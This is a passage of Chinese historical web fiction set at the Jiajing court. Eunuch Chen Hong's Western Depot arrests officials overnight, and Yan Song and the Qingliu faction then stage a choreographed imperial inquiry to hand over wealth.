“开门,开门,快开门!”西厂太监粗暴的敲击大门。 “你,你们是什么人,知道这里是何处吗!”一群家仆看着外面冲天的火把,还有眼前这群面白无须,但满面凶狠的人怒声道。 简直是扯淡,这里是京师,兵部侍郎的府邸,竟然有强人来攻? 这个世界是怎么了?大明要亡了吗? “拿下!”一名千户冷笑一声,一队西厂太监瞬间拔刀,将这些人全部控制。 “你们是何人!”这时,听到动静的兵部侍郎王崇古,怒气冲冲的上前。 “王崇古?王大人。”陈洪阴冷的声音响起。 闻言,盛怒中的这位清流派成员之一,兵部侍郎王崇古,朝着发声处看去。 轿子倾斜,陈洪手拿帕子,捂着口鼻,从中走了出来,瞥了眼两处的火把那冲天的黑气,眉头皱了皱,似乎很是不喜。 “可认得咱家?”陈洪上前,看着王崇古,眼神中止不住的得意之色。 “你是?”王崇古眉头一皱,而后恍然,怒指着陈洪,“陈洪!” 认出不是强人,是司礼监的阉人后,王崇古顿时怒怒不可遏,“你不过是司礼监的一个提督太监,你敢带兵来本官府上?” “伱要反了吗!”身为武官,王崇古也不是個好脾气,对这些阉人早就不喜了。 “哼,”陈洪冷笑,抬手间,立刻有一份抄录的罪证放在他手里,“自己看!”说着,甩手便将罪证甩在了王崇古的脸上。 “你!”王崇古虽然怒,不过还是在罪证落地的时候接住,开始翻看了起来。 “给王大人掌个火。”陈洪冷笑。 一个西厂太监拿着火把凑近,让王崇古看的清楚明白。 “这,这,子虚乌有,子虚乌有!”看着上面罗列的罪状,王崇古浑身发抖。 上面竟然说他私吞军饷! 不仅如此,还有说他老家兼并军户土地。 竟然连时间,日期,全都写的清清楚楚,虽然这些都是事实,可也都情有可原啊。 仅凭这些,就能带人抓他? “带走。”陈洪摆摆手,转身就要进轿,根本不理会王崇古的呼喊。 “陈洪,就算本官有罪,也轮不到你来捉拿本官,你西厂算个什么东西!” 王崇古挣扎着要冲上前去揍死陈洪这个狗东西,但却被边上的西厂太监压死。 听到这话,陈洪脚步一顿,眼神陡然转冷,脑海中又闪过了一些不美好的事。 司礼监,吕芳等人排挤自己。 每次内阁议政,那些阁老对他的不屑,走在路上,甚至连正眼都不愿看他一眼。 他站在人群中,就像是一个喽啰。 他活的非常的压抑,那时他就发誓总有一天要让所有人都看得到自己,要让他们仰视自己! 现在,这个机会,来了! 他现在是西厂督主,就算是吕芳这几日见了自己都要客客气气的。 黄锦之流,见了自己甚至都开始绕路。 “西厂算什么东西?”陈洪冷笑着转过身,用居高临下的眼神看向怒视着自己的王崇古,“那你千万给咱家听好了!” “咱家,是主子陛下钦定的西厂督主,先斩后奏,皇权特许,这就是西厂…听明白了?” “带走!”说完,陈洪不再理会大骂的王崇古,转身进了轿子。 …… “嘭!” 吏部侍郎的府邸被踹开。 “吏部侍郎,陈以勤,涉嫌行贿,操纵官员选拔,损害公正,带走!” 陈洪说着,将罪证甩在了对方的脸上。 “放开我,陈洪,你这个阉狗,你敢罗织罪名,陛下定不会饶了你!” …… “王邦瑞,刑部左侍郎,涉嫌滥用职权,枉法裁判,以至无辜枉死…带走!” “……” “张治,翰林院掌院学士,涉嫌指使周云逸散布不实言论,诽谤朝廷,拿下!” “……” “熊浃,吏部尚书,涉嫌行贿,操控人事……拿下!” “……吴山,都察院右都御史,结党营私……带走……” “……高仪……杨博……许赞……” “拿下、拿下、拿下……” “带走、带走、带走……” 这一夜,京师的夜晚火光冲天。 一颗硕大的朗月之下,响彻了陈洪冰冷无情的声音和被缉拿官员的怒骂声。 一夜之间,在京师的清流和严党派系中的多名官员,被西厂连夜带走,押入大狱。 虽然未触及核心,也都是些编外,也不会影响朝廷正常运转,但还是有无数官员收到消息,夜半惊坐起,人心惶惶,两股战战。 今夜,注定臣民无眠。 而西厂,陈洪的名字,也被无数人记住。 同时,陈洪也终于得偿所愿,被严党和清流开始正视了…… “……” 第三十章 六度集经,等天亮!(求追读) 严府。 “爹!不好了!” 严世蕃慌张的闯入书房,却见老爹默默的坐在榻上,翻着书。 “陛下他,动手了!”严世蕃说着,吞了口口水,道:“清流和我们派系的官员,从翰林院到六部,好几个要员被抓!” “爹,怎么办?” 面对惊慌的严世蕃,严嵩面上始终一副不动声色的模样,慢吞吞的翻着书。 “爹,这都什么时候了,您就……”说着,严世蕃走近一看,只见老爹手上竟然是一本名为《六度集经》的佛经,顿时无语。 “您还翻什么佛经!” 虽然早就知道陛下可能会动手,他们也做好了引颈受戮的准备,可这阵仗也太大了吧? 虽然说,就目前所知,清流和他们真正的核心没怎么动,最多就是一些编外成员。 可饶是如此,也让他心惊啊。 谁知道要抓多少,要是再让他们这么抓下去,岂不是要蕨根了? 陛下是不会让他们严家倒了,可要是把身后的派系全给连根拔起,那跟倒了有区别吗? 自家老爹倒好,都这个时候了,还有心情翻劳什子佛经? “爹,这个时候了,你就给儿子我透個底吧,陛下真正的目的,到底是什么!”严世蕃深吸一口气,坐在老爷子对面问道。 “六度集经里,讲了一个故事,”严嵩慢吞吞的合上已经看完的佛经,抬头盯着严世蕃,“这个故事,你应当也是听过的。” 严世蕃张了张嘴,强忍着不耐没说话。 “在久远劫以前,当时释迦牟尼尚未成佛,他是一位修行菩萨道的大士。” 严嵩慢吞吞的开口讲了起来。 “这位菩萨在洞府修行,突然一只鸽子,因为被老鹰追赶,而飞进山洞中寻求庇护。” “老鹰随后也跟了进来,它要求菩萨交出鸽子,因为它已经好几天没有进食了。” 听到这里,严世蕃哪里不知道,老爹这是给自己讲‘佛祖割肉喂鹰’的故事呢。 同时,心头暗暗思索了起来。 严嵩目光盯着桌上的烛火,火光映照在他浑浊的眸子里,似是有什么东西闪烁。 “菩萨深感同情,既不忍心鸽子受到伤害,也不忍心让老鹰因饥饿而痛苦。 于是,菩萨思量再三,决定割下自己腿上的肉给老鹰吃,以代替鸽子……” “然而,当菩萨割肉的时候,由于疼痛和流血过多,让他晕倒在地。” “这时,菩萨心中产生了后悔的念头:我这样做值得吗?” “如果因此而死,我的修行岂不是白费了吗?” “但是,他很快意识到,自己的这种想法其实是错误的,于是他坚定地告诉自己:我应当舍身饲虎,何况是只小小的鹰呢?” “于是,菩萨重新振作起来,将割下的肉献给了老鹰。老鹰吃饱后便飞走了。” “令人惊讶的是,菩萨腿上的伤口随即愈合,肉也长了出来,仿佛从未受过伤一样。” “这奇迹般的事情发生后,菩萨更加坚定了修行的决心,发誓要广度众生,直至成佛……” 听完老爹的话,严世蕃沉默了许久。 “我们‘修行’了这么久,为的就是现在,把‘肉’喂了‘老鹰’吗?” 严世蕃如何听不懂这故事里的意思。 他们严家,就是那位释迦牟尼佛,陛下就是那头饥饿的老鹰,鸽子就是严党! 修行?修行的什么?钱! “严世蕃,”严嵩抬了抬眼皮,“就连释迦牟尼,都要割肉才能成佛,你以为你是谁?” “我,明白了!”严世蕃面皮狠狠抖了抖,拳头捏的梆梆响,然后咬牙切齿道: “给多少?” 严嵩闻言没有说话,就这么看着他,严世蕃呼吸一滞,顿时如泄了气的皮球。 一瞬间,这位肩膀上能扛起两京一十三省的大明举重冠军,小阁老的脊背弯了。 “这次以后,账就全销了,也算是新生了。”说完,严嵩拍了拍严世蕃的肩膀,这时外面传来更夫的梆子声,夜已至四更。 “去睡吧,真正的热闹在明天,”说着,严嵩突然像是想到了什么,佝偻着的身体突然转过来,勾了勾嘴,“我严家交钱简单……” “那些清流想交,却还不会那么容易,哼,哼哼……”说着,他竟然哼笑了起来。 严世蕃听到老对手们不会好过后,心里顿时好受了一些。 对啊,我严家奸佞! 你们清流,你们了不起,那我倒要看看,到时候那庞大的土地、钱财、伱们怎么交! “到时候,老子非要把你们这帮畜生那张虚伪的人皮给撕下来,让世人看看!” 一时间,严世蕃竟然有些期待了起来。 不是清流吗?你怎么有那么多钱,那么多土地?哪来的?还敢说不是奸臣? 虽然知道最后的结果,皇帝必然不会太为难这些人,但能让清流颜面扫地。 狠狠出一口恶气,也是极好的! 与严世蕃想的一样,这一晚几乎无人能睡着,除了不知道情况,没被抓的严党核心外,还有徐阶为首的一众清流们。 徐阶、高拱、张居正、赵贞吉等人,全都穿戴整齐,孤坐在书房里。 他们已经洞悉了天机,知道了皇帝的目的。 徐阶答题虽然错了,但代价也已经付出了,事就算是了了,废了一个蓝神仙而已,能得到答案,嗯,代价并不大。 陛下身边有那少女国师,蓝神仙本来就是一颗废掉的棋子了,权当是废物利用了。 现在,他们想的是,怎么给皇帝交钱,他们不是严党,脏事皇帝都知道。 把钱随便找个理由交上去就是了。 他们是清流,要考虑的太多了,既要把钱财交上去,还要合理。 也算是得于斯毁于斯,得益于清流之名,如今也要受累于清流的身份。 稍有不慎,就会是身败名裂! 裕王府。 裕王也是穿戴整齐的坐在书房里,不发一言,身边的王妃李氏担忧的看着他。 “父皇心机太深了。”裕王喃喃自语着。 “刚才南京来信,陆炳搜刮出了一堆兼并土地的罪证,还有往来账目……” “谭纶来信说,东南当地商贾偷开海运,这些商贾的背后,则是不少大臣的家族。” “一些极为隐秘的证据,竟然这么快就被锦衣卫摸爬了出来……不,显然是早就开始了。” “调查清楚这些,没有数年的功夫,不可能完成的。父皇到底从什么时候开始布局的?” 裕王说着,浑身都在哆嗦着。 李氏看着他如此,眼神中不免有心疼之色浮现,而后又摸了摸自己平坦的肚子。 “若是,能为王爷诞下一子……”想着,李氏默默低下了头。 裕王跟景王之间的争斗,她自是知晓。 如果裕王有子嗣,那么跟景王之间的斗争也会轻松不少,陛下说不定也会对裕王更喜欢些。 “王爷,时候不早了,歇息吧。”李氏心疼的说道。 “不,我要等天亮,明天就有结果了,”裕王摇了摇头,“不知道徐阶他们能想出办法吗?父皇既然动手,就不会没有证据……” “他们要怎么抹平这件事?明天,御前又会是怎样一番波涛汹涌?君臣之间,又会如何?” “是撕破脸,是相安无事,还是其他?父皇要怎么做?” “如果我是父皇,这么大的摊子铺开,稍有不慎,就会彻底没有了转圜的余地,我该如何?” 裕王在心里开始模拟了起来。 可越是深入,越是将自己放在那个位置,面对这样,近乎于纸包火,撕破脸的局面,就越觉得自己的渺小,父皇如青天般伟岸。 本就漫长的冬夜,今夜似乎更长,太多太多的人,在等着天亮了。 这些达官显贵,第一次尝到等待天亮的煎熬。 一众京师的官员中,此时能睡着的,反而是最亏心的严嵩父子,而且睡的还格外踏实。 果然,人一旦学会了破罐子破摔,就会发现世界豁然开朗,不外如是。 “……” 第三十一章 舞台上 天亮了。 除了内阁外,所有官员照常办公。 尽管昨夜的惊变,犹如一柄悬在脑袋上的刀,结果可能会在今天落下,他们每个人心里都慌得要命,但此刻依旧要恪守本职。 临近午时的时候,晴朗了几天的天,又沉了下去,玉熙宫的旨意终于下达。 宣内阁玉熙宫议政! …… 天空飘洒着星星点点,宛若盐粒儿般的雪。西苑门口,严嵩跟严世蕃的轿子落下。 “爹,都到了。” 一袭红色白绒裘袍的严世蕃,扶着佝偻着身子的严嵩说道。 看着站在远处,聚在一起的徐阶,高拱,张居正等清流,严世蕃嘴角勾起冷笑。 此刻,他颇有种扬眉吐气的意味。 “走吧。”严嵩点点头,在严世蕃的搀扶下朝着西苑门口而去。 “严阁老。”看到严嵩父子后,徐阶等人上前,象征性的打着招呼。 不过此时,清流却也没有了往日的孤傲,至少此刻在面对严嵩的时候,他们感觉矮了一头。 一场场外答题,他们输了! 虽然输了的代价跟这次的事情没有直接关系,但却让他们很是被动。 “少湖啊,你,没睡好吗?”严嵩上前一步,看着徐阶,言辞间颇为关切。 徐阶,字子升,号少湖。 一个人的“字”通常是在冠礼时所取,用于社交场合,以示礼貌和尊重。 一个人的“字”往往与其名有某种关联,且更偏向于正式和庄重。 而“号”往往是個人兴趣、志向或生活环境的反映,具有更多的个人色彩。 严嵩称呼徐阶的号,而不称呼字,这是惯有的。 一般情况下,即使双方政见敌对,都会以“字”来称呼,既能表现出基本的礼貌,又不会过于亲密,保持了一定的距离感。 以维持同朝为官的体面。 至于称呼对方的“号”,除非是关系密切的朋友或师生间,否则直接称呼“号”可能显得不够正式,甚至还有轻浮之嫌。 尤其是严党和清流的关系,严嵩使用“号”来称呼徐阶,其中的讽刺意味可就十足了。 这是在暗讽对方更注重个人情致,而非公事能力,算是一种间接的贬低。 以往,徐阶对严嵩的称呼并不在乎。 一时的长短之争,有什么呢?笑到最后的人才是真正的赢家。 不过这一次,再听严嵩对自己的称呼,徐阶却有了一丝别样的感受。 “多谢阁老挂怀。”徐阶微微欠身道谢。 严世蕃嘴角噙着冷笑,看着在场的老对手们,只觉得心中前所未有的畅快。 不过,这些只是开胃小菜,等会他就要在皇帝面前,把这些人的底裤都给扯下来。 而且,这次他把清流的底裤扯下来,指着他们的鼻子骂,清流可能还要感谢他。 他已经因为兴奋,而全身都隐隐颤抖了。 “严阁老,”这时,徐阶抬眼看着严嵩,眼神中,蕴含着一种莫名的神色,而后他微微躬身,“多谢严阁老……” “少湖啊,都是同朝为官,为陛下分忧,说这些就见外了,”严嵩笑着抬手扶起徐阶,然后招呼着众人,道:“进去吧。” 高拱攥了攥拳头,恨恨的瞪着严嵩的背影,只觉得心中憋屈无比。 身旁的赵贞吉则扯了扯他的衣袖,示意他不要冲动,张居正低头跟在徐阶身后。 一群人怀着异样的心思,不紧不慢的来到了玉熙宫的时候,发现吕芳并未等候。 宫阙之下,只有几个小太监候着。 这种情况,众人已经料到,倒也不意外,心中也不禁暗自打起了精神。 虽然知道,陛下不会让事情没有转圜余地,陛下的真正目的是要钱,接下来只需要面子上过得去,这事就算是了了。 可他们也知道,想要把事情办的漂亮,还要让人挑不出毛病,不是那么容易的。 陛下会敲诈臣子的钱吗?不会的! 所以这钱,他们必须是心甘情愿,有理有据,要让所有人都挑不出毛病来才行。 而最直接,最有效的方式,就是让严党来挑刺了。 严嵩和徐阶都明白这个道理。 他们都知道皇帝想要的是什么,所以徐阶对严嵩道谢,严嵩也答应了下来。 这是一种官场人具备的默契。 即便是两个互为对手的人之间也应该有,没有的话,说明你城府手段还尚有余地。 可是严世蕃刚才那威胁,宛若嗜血的目光,他们可都看到了,但那有什么办法? 现在,他们可是有求于人! 玉熙宫,正殿上司礼监已经整整齐齐的站在了一旁,上首位置严嵩的座位依旧在。 看到这里,众人的心莫名的都安了。 就连清流一方,也是暗暗松了一口气,不得不说,很是讽刺! 严嵩被严世蕃搀扶着,来到自己的位置上坐下,其他人也都在各自位子上站好。 不过在路过陈洪的时候,无论是严嵩,还是徐阶等清流,都是投去了一个眼神。 而陈洪则是毫不示弱的看了过去。 昨晚,他抓了清流和严党两派的人,早就做好了被这些人当做眼中钉的准备。 但那又如何呢?他是司礼监的人,他是太监,他是皇帝的家奴,又不靠其他人吃饭? 只要替皇帝办好差事就够了。 他最大的靠山是皇帝,可不是朝中这些人,他才不会像吕芳一样,左右逢源。 他陈洪,不屑之! “呵呵。”严嵩佝偻着身体,笑呵呵的坐下,仿佛对陈洪的目光毫不在意。 徐阶,高拱,张居正,赵贞吉等人也仅仅是淡淡一眼,而后便不再理会。 如此表现,又是让陈洪的心狠狠刺痛。 为什么,这些人还是如此傲慢?他们难道不知道自己犯的事有多大吗? 今天的御前议政,就是要清算他们的! 你们就得意吧,等下了我西厂的大狱,我看你们还能神气多久! 清流面前,长长的案桌上,整整齐齐的摆放着十二沓奏本。 这些奏本的封面上什么都没写,但众人心中已经知道上面写的是什么了。 偏殿,精舍中,嘉靖打坐完毕。 一抬手,拿起罄锤,随手一摆,只听“铛”的一声,旁边的铜罄发出嗡鸣声。 听到声音,吕芳知道,这场戏该自己开场了。 “几位阁老,昨晚的事,想必都听说了,”说着,吕芳指了指几人面前的奏本,“都看看吧,看完以后,都说说吧!” 吕芳的声音中带着冷意。 现在“舞台”已经搭好,吕芳这个“主持人”也已经开了场,各方“演员”要开演了。 严世蕃抢在高拱前,当先拿起面前的两本奏本,一本递给严嵩,一本自己拿在手里。 这一幕,看的高拱又是一阵火大,不过他有不满也只能忍着,只能咽下这口恶气。 一时间,大殿上倒是安静了下来。 只是随着翻阅这些奏本的同时,众人的面色也都变得凝重了起来。 在场能保持面色平静的,只有严嵩一个。 这位阁老坐在火炉边,默默的翻看着手上的奏本,似乎没有什么风浪能让他色变。 “呵,呵呵……”看着,看着,突然就在这时,有人开始发笑,众人抬头看去,就见严世蕃一边冷笑着翻看奏本,一边道: “好啊,好啊!”说着,愤怒的把奏本直接扣在桌上,怒声道:“你们都他么是畜生!” “大明朝就是被你们给毁了!” 小阁老严世蕃,像是一头择人而噬的老虎,恶狠狠的环视着一众清流。 “伱们这是在欺天啊!”他张大着嘴,瞪着眼,恨不得生撕了面前的人。 怒吼声震得玉熙宫隐隐回响。 一瞬间,舞台上法则颠覆,忠奸反转。 “……” 第三十二章 御前质询会议 “唰唰唰!”数道目光在短暂的惊愕后,齐刷刷的看向严世蕃。 “严世蕃!”清流派火力输出的高拱也第一时间上场,怒声道:“你发什么癫!” 被人指着鼻子骂畜生,他要是还能忍,那他高拱真就是不当人了。 张居正、赵贞吉也都愤怒的瞪着严世蕃。 虽然有些事情,都是彼此心照不宣的,但他们可不认为严世蕃是什么好人。 严世蕃找麻烦,肯定是真情实感的。 “你把话说清楚,谁害了大明朝!”高拱拿着奏本,指着严世蕃。 他已经受够了窝囊气了,不就是唱大戏吗?大不了今天就逮住这个小鸡仔揍一顿再说。 “哼!”严世蕃冷笑,面对粗壮的高拱,也毫不示弱,上前一步,道:“说?” “你们还有脸让我说?白纸黑字,写的清清楚楚,还要我说什么!” “还有脸让我说?”严世蕃拿着手里的奏本,开始在殿上踱步,同时打开奏本,斜睨了眼不发一言的徐阶,而后道: “嘉靖三十五年,宁波府定海县当地富商周氏家族,枉顾朝廷法度,私自开辟海上航线,把江南的丝绸、茶叶、瓷器等特产销往南洋和日本。” “这周氏家族的背后是谁?” 听到这话,高拱面色一凝,目光下意识的看向了徐阶。 严世蕃也懒得扯皮,他今天就是来撤这帮清流底裤的,他就是来唱大戏的。 但这场戏,他唱的心甘情愿! 严世蕃来到徐阶面前晃了一圈,冷笑道:“宁波府是谁的地盘,还用我多说吗?” “江浙地区那几十万亩……” “严世蕃!”严嵩合上奏本,沉声道:“普天之下皆是王土,大明朝的土地,没有谁的地盘一说,议事就议事,莫要无端猜测!” 偏殿里,听到严嵩的呵斥,嘉靖举起的罄锤又缓缓放下,沉凝的表情略微舒缓。 严嵩,终究是个懂得分寸的! 这舞台上,谁扮演着什么角色,该干什么,说什么,每个人都清楚。 严嵩不会阻止严世蕃,但也要把握火候,有些东西,是不能去戳破的。 现在的情况是皇帝跟内阁,确切的说是清流,已经是明牌了,但纸还是包着火。 就算明牌,有些事情也不能放在面上说,否则今天这场御前议政,就没意义了。 一旦纸包不住火,那就彻底撕破脸了,没有了分毫的转圜余地。 到时候,皇帝就不得不彻查了! 一旦彻查了,那查下去的结果,这不是任何一方想要看到的。 嗯,至于为什么清流不用这個反制皇帝?那也是说笑了,因为没人会这么傻。 能坐到这个位置的,不会有人只争意气。 你反制的结果无非就是让皇帝不要追究了,可皇帝本就无意追究,你反制什么? 白白的得罪皇帝?自古逼宫妥协的,除非你造反成功,否则下场无一不是凄惨收场。 而他严嵩,今天就是要掌控大局,让严世蕃去挑刺,清流去一一化解。 需要做的就是把控力度,让纸包着的火,完美的泄出去,还不能戳破纸! 如此,君臣默契之下,这场戏才能圆满落幕,事情才算是圆满解决。 “哼!”被老爹呵斥,严世蕃冷哼一声,想到老爹今天提点的话,有些东西可以说,有些不可以说,警醒了过来,于是调转话头。 既然土地的事不能说,那就说商! “泉州府晋江县主营香料与珠宝贸易经营的沈氏家族,也是通过私开海运,从海外进口香料和宝石,然后再销往国内……” “每年走私货物价值数万两白银,税款记录呢!” “此等行径,这是对国法的公然挑衅!” 说着,严世蕃也不等其他人说话,继续翻着奏本,开始报上面调查到的证据。 “嘉靖三十四年始,沈家通过私开海运,每年从南洋进口香料和宝石,价值约八千两白银,未申报的走私货物价值约四千两白银。” “周氏家族与沈氏家族合作亦有记录。” “自嘉靖三十七年起,周氏家族为沈氏家族提供海运服务,帮助其走私香料和宝石,从中抽取一成的利润!” “三年间,累计获利三千两白银。” “而这上面,白纸黑字的记录着……”说着,严世蕃来到徐阶面前“啪”的一下扣住奏本,盯着徐阶投下来的目光,冷声道: “徐阁老的家族与周氏的交易。” “上面说的清楚楚,自嘉靖三十五年至嘉靖三十九年,徐阶家族通过周氏家族的海运服务,进口了价值约一万两白银的海外货物。” “其中合法申报的部分,仅仅占了一半不到,而另一大半,却是涉嫌走私!” “徐阁老,解释解释吧!” 这是奏本上明着写的了,属于必须要清的账。 听到这里,张居正知道自己该上场了。 “小阁老,关于周氏家族与沈氏家族的交易,我等皆应持审慎态度。” “国法如山,不容侵犯,然在查明事实真相之前,不宜过早定论。” “徐阁老素来以清廉自持,朝中上下有目共睹,对家族事务,他未必事必躬亲。”张居正的语气温和,“或许并不尽知其中曲折。” 今天的目的,就是质询,自辩。 (注:古代没有现代意义上的“质询制度”,但类似的概念确实存在,比如廷议,服务于创作,用了质询。) 所以,清流一派,必须要拿出十二万分的精神来对待严世蕃提出的所有疑问。 甚至,从理性出发,他们更希望严世蕃问的再细一些,再详细一些,再刻薄一些。 一瞬间,念头闪过,张居正继续开口。 “为解此疑云,我建议成立一个特别审查小组,由朝中公正无私之士组成,彻查此事。” “全程由西厂,陈洪公公负责监督!”说着,张居正对着陈洪拱了拱手。 “哼!”陈洪心底冷笑一声,觉得张居正这是在恭维讨好自己。 张居正自然不知道陈洪心里的想法,继续有条不紊的开口。 “不仅要调查周氏与沈氏的走私活动,更要详细审查徐阁老家族与周氏家族的交易记录,确保每一条记录都能经得起检验!” “若有作奸犯科者,依法严办。” 听到这里,精舍中的嘉靖嘴角勾起一抹笑容,随手一甩,铜罄发出声响,算是许了。 也是给他们接下来的演出,定了一个方向。对了,就朝着钱、商人,这方面深挖。 严世蕃听到这声音,当即闭嘴。 “少湖啊,”严嵩这时无缝衔接,“此事,伱意下如何?” “就依太岳所言。”徐阶微微颔首。 太岳虽然也是张居正的号,但以二人的亲密关系,自然不是暗讽的意思。 徐阶神情间丝毫没有半分异样,此时的徐阶,徐阁老,早就恢复了以往的神态。 这出戏,他看的分明,皇帝就要拿他第一个开刀,然后给“舞台”定调。 解决了徐阶家族与商贾往来的问题后,接下来,大殿上严世蕃一个人对抗所有清流。 面对严世蕃刻薄,刁钻,甚至是连吼带骂,冷嘲热讽的质询,清流一方小心自辩。 每当有人被质询了,自辩之后,那就会有另外一个人站出来提出解决的办法。 如此,轮流着来! 玉熙宫外的雪势愈下愈大。 时间也在不断的推迟,眨眼间,天色已经暗了下来。 不一会暮鼓声声,宫里已掌上灯火。 一整天的时间,玉熙宫正殿上,铜罄响了又响,严世蕃跟清流之间唇枪舌战。 一旁的司礼监则是封笔疾书,负责记录这场御前质询会议的所有细节。 今日的严世蕃,战斗力格外的强悍,他仿佛化身了正义使者,在审判大明朝的黑暗。 而向来自诩清流的徐阶等人,此刻是那被审判的贪官奸佞,仿佛他们才是不可赦的恶人! “咚!咚咚!咚咚咚!”宫门的更鼓响起,夜已至三更天。 玉熙宫大殿上,灯火通明。 到了这里,玉熙宫里的质询会议也渐近尾声。 偏殿,精舍里。 嘉靖双眼缓缓睁开。 到了这里,差不多就行了。 十二沓奏本,里面记载的东西有两个,分别是土地兼并和官商勾结! 不过,土地兼并问题,乍一看是看不出来问题的,也没必要拿在台面上说。 而严嵩也不愧是老狐狸,知道奏本上哪些东西是拿出来看的,哪些东西是拿出来说的。 所以在第一次,严世蕃提到地盘,眼看着再说下去肯定要提到土地兼并,自己准备敲响铜罄警告时,严嵩也第一时间反应过来。 一句“普天之下莫非王土”,警告了严世蕃,后者也立刻收住,显然这是严嵩早就提点过的。 之后只要严世蕃收不住,严嵩都会牵制。 最终这场御前质询,全程都在一个问题上,那就是官商勾结。 而背后牵扯最深的就是士绅大族。 所有人都知道,深度到了这里,就可以了,不能再继续下去了。 至于里头记载的土地兼并问题,所有人都默契的没有去提哪怕一嘴。 因为,这东西不能提,提了就没有转圜余地了。 像是现在,就很好嘛。 原来,所有的问题,都出现在了那些满脑子偷奸耍滑,不老实本分,为了利益可以里通卖国的商人身上,就是他们在陷害忠良? 抄家,必须抄家! 而且,舍去部分商人,不会伤到筋骨,又能满足自己的要求,这是最优解! 至于抄多少,那就是手填了。 至于填多少?这是一道“生存策略题”。 怎么答,他相信人在生存问题上,会给出最明智的答案,尤其是答错一次题的清流。 他们一定会给自己一个满意的数字。 此时,大殿上,严世蕃像是精力无限一般,还在对清流一方火力输出,冷嘲热讽。 嘉靖甩手,罄锤敲击铜罄,发出“铛”的一声嗡鸣,而后起身朝着大殿而去。 “烂柯真诀妙通神,一局曾经几度春。” “自出洞来无敌手,得饶人处且饶人。” 随着幽幽的声音响起,内阁和司礼监众人纷纷跪了下来,同时呼着万岁。 而听到这声的清流们,心中也是忽的松了口气。 事情,总算是了了! “……” 第三十三章 饿虎严嵩! “都起来吧。”嘉靖摆了摆手,示意跪在地上的众人起来,然后道:“朕刚才念的,是宋朝诗人,蔡州道人的《绝句》。” “烂柯真诀妙通神,一局曾经几度春。” “这治国就如下棋,要的是尔等国手,步步钻营,废寝忘食,且甘之如饴。” 嘉靖说着,脸上神情缓和,露出笑容,用一种宽容的语气,虚指了指众人,道:“自出洞来无敌手,得饶人处且饶人。” “做好人得先是“无敌”,才有能力去饶人。” “如何无敌啊?”嘉靖微微俯身,目光环视众人,“仁者才能无敌!” “与国仁,与同僚仁,与民仁者无敌。” “圣明天纵,无过皇上!”严世蕃第一时间跳出来送上一记马屁。 其他人虽然不耻,却也第一时间躬身,齐齐道:“陛下圣明!” “君臣一家,”嘉靖一摆手,示意众人不必拘谨后,“自家人没有不对的,关起门来吵一架,吵明白了,拿出解决办法了。” “事情也就过去了。” 听到嘉靖这么说,清流派心中越发的轻松,这事过去了,接下来就是交钱了。 事情到此,也就算是结束了。 “陛下,”这时,严嵩颤颤巍巍的起身,对着嘉靖微微躬身,“如今改稻为桑的国策已经定下,但等到大面积实施,还需要时日。” 听到严嵩说话了,众人都知道,接下来该轮到严党交钱了。 严世蕃心中虽有不甘,可也只能瞪眼干看着,他心里清楚,事情只能如此。 清流都要割肉了,他们严党能不放血? 先不说皇帝答不答应,单单就这些被他扯掉底裤,骂的狗血淋头的清流就不会放过。 受了一天的气,被严世蕃指着鼻子骂了一天的高拱等人,此刻则各个作壁上观。 尤其是看着严世蕃的脸色,心中都有种报复的畅快感。 当真是天道好轮回,苍天饶过谁。 “今岁寒冬,天寒地冻,草木皆白,我大明上下皆感天恩浩荡,亦知天意难测。” 严嵩的声音压低了很多,但在这安静的殿上却不觉小,反而有种莫名的低沉。 “北方草原,风雪交加,草原各部亦不安宁,时有窥边之举,边防之重,不容忽视。” “东南沿海,虽非冰天雪地,却有海盗倭寇之患,军需供应,刻不容缓。” “国之安危,系于边疆。故此,臣愿将近年来积累之财,悉数捐出,以补军需之急。” 听到这里,张居正微微抬了抬头。 这里他可以说是感触最深了,之前的御前财政会议上,他就是要给东南筹集军需的,结果被严嵩三言两语抢白,还搞出个改稻为桑来。 结果到头来,军需没见影,现在严嵩自己“割肉”拿来填补军需,嗯,当浮一大白! 高拱、赵贞吉等人,也都是一副舒服了的模样,挺了挺胸膛。 徐阶低着头不说话,静静的听着。 严世蕃则是屈辱的低下了脑袋,袖口里的拳头捏的‘嘎嘣嘣’响。 听着严嵩这番话,此时嘉靖的心里也很舒服。 自己“快刀割肉”就是为了军需。 毕竟边防无论如何不能乱,还有境内的一些局部叛乱,因此什么都能少,军需不能少。 “此举虽微,乃臣一片赤诚之心,愿助我大明将士抵御严寒,坚守边防,保家卫国。” “还望陛下恩准!”严嵩说着,躬身下去。 “严阁老忠君体国,朕自无不准。”嘉靖抬了抬手,示意严嵩起来。 清流看着严嵩的背影,心中嗤笑不已,同时心中也不禁一阵阵嫉妒。 他们清流交钱,那么费劲,还要挨骂,严党交钱一个“捐”就解决了。 就在众人觉得严嵩话说完的时候,却见严嵩抬起身的同时,抬头看着嘉靖。 “然而,长治久安,非一日之功。” 嗯?还有?听到这里,在场众人眉头一挑,嘉靖也朝着严嵩看去。 “微臣思虑再三,想到一策,”说到这里,大殿上的气氛,仿佛变得凝重,严嵩却似毫无察觉,“此策,名为“屯田兴农”。” 屯田兴农?! 听到这话,包括严世蕃在内的清流众人,全都惊疑的看着严嵩的背影。 这一幕,怎么那么熟悉呢? 改稻为桑!对,当初严嵩也是出其不意的提出了一条国策,现在他又来了! 一样的见缝插针,一样的猝不及防! “……呼。”忽的,殿外吹来一阵风,大殿内纱帐漂浮,众人神情瞬间一凝。 “吼!”这一刻,沉默的大殿上,隐约间,似有猛虎在咆哮,这是一头饿极了的猛虎。 徐阶不再老神在在,眼底爆发着精光。 徐阶、高拱、张居正和赵贞吉等人,更是纷纷瞪大了眼,满眼不敢置信之色。 严世蕃微张着嘴,只觉得呼吸都不畅了。 看着老爹的背影,这一刻,仿佛看到了一座伟岸的青山,让他仰望! 曾几何时,他以为父亲老了,自己已经完全可以担得起严家这座大山了。 可是现在,当他以为追上父亲步伐的时候,却发现,越来越远! 短短十多日,惊变太多了。 可是父亲,始终如老僧入定般不动。 仿佛身外无论多大的风浪,他都不会害怕一般,给了他无穷的信心。 直到这一刻,当他走到父亲的世界开始,他才发现,自己犹如野草见青山一般。 或许,自己一生都走不上那座青山! 边上的吕芳,双眼微微眯起,看着那位严阁老,眼神中流露出一抹佩服之色。 不过很快,他心里又淡淡一笑。 严阁老能有如此干劲,主子想必也会很开心吧? 严党被掏空了,清流也被掏空了,都是饿极了的猛兽,可兽永远都是兽。 不得不说,吕芳确实了解嘉靖。 看着严嵩张开血盆大口的模样,嘉靖心中并无不快,有的只是欣慰。如果严嵩就此被打的没心劲了,那反而是自己看错了他。 “屯田兴农?”嘉靖来了兴趣,示意严嵩继续说下去。 